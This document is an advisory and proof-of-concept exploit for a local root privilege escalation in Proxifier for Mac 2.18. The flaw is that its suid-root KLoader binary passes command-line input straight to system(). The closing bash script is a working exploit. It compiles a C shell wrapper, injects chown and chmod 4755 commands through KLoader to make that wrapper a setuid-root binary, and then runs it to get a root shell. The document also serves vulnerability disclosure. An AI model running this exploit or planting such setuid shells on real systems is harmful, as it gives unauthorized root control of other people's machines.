Proxifier versions 2.18 and below ships with a KLoader binary which it installs suid root the first time Proxifier is run. This binary serves a single purpose which is to load and unload Proxifier's kernel extension. Unfortunately it does this by taking the first parameter passed to it on the commandline without any sanitisation and feeding it straight into system().
9b8b34ade86fd0c30d6b7d8dfaf9fb267c4e58b5f840ccbd7c58c08f2342b5d9
Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with
a KLoader binary which it installs suid root the first time Proxifier is
run. This binary serves a single purpose which is to load and unload
Proxifier's kernel extension.
Unfortunately it does this by taking the first parameter passed to it on
the commandline without any sanitisation and feeding it straight into
system().
This means not only can you load any arbitrary kext as a non-root user
but you can also get a local root shell.
Although this is a bit of a terrible bug that shouldn't be happening in
2017, Proxifier's developers fixed the issue in record time so that's
something!
Everyone using Proxifier for Mac should update to 2.19 as soon as
possible.
https://m4.rkw.io/blog/cve20177643-local-root-privesc-in-proxifier-for-mac--218.html
-------------------------------------------------------------------
#!/bin/bash
#####################################################################
# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.18 #
#####################################################################
# by m4rkw #
#####################################################################
cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>
int main()
{
setuid(0);
seteuid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
EOF
gcc -o /tmp/a a.c
rm -f a.c
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel
/tmp/a ; chmod 4755 /tmp/a'
/tmp/a
-------------------------------------------------------------------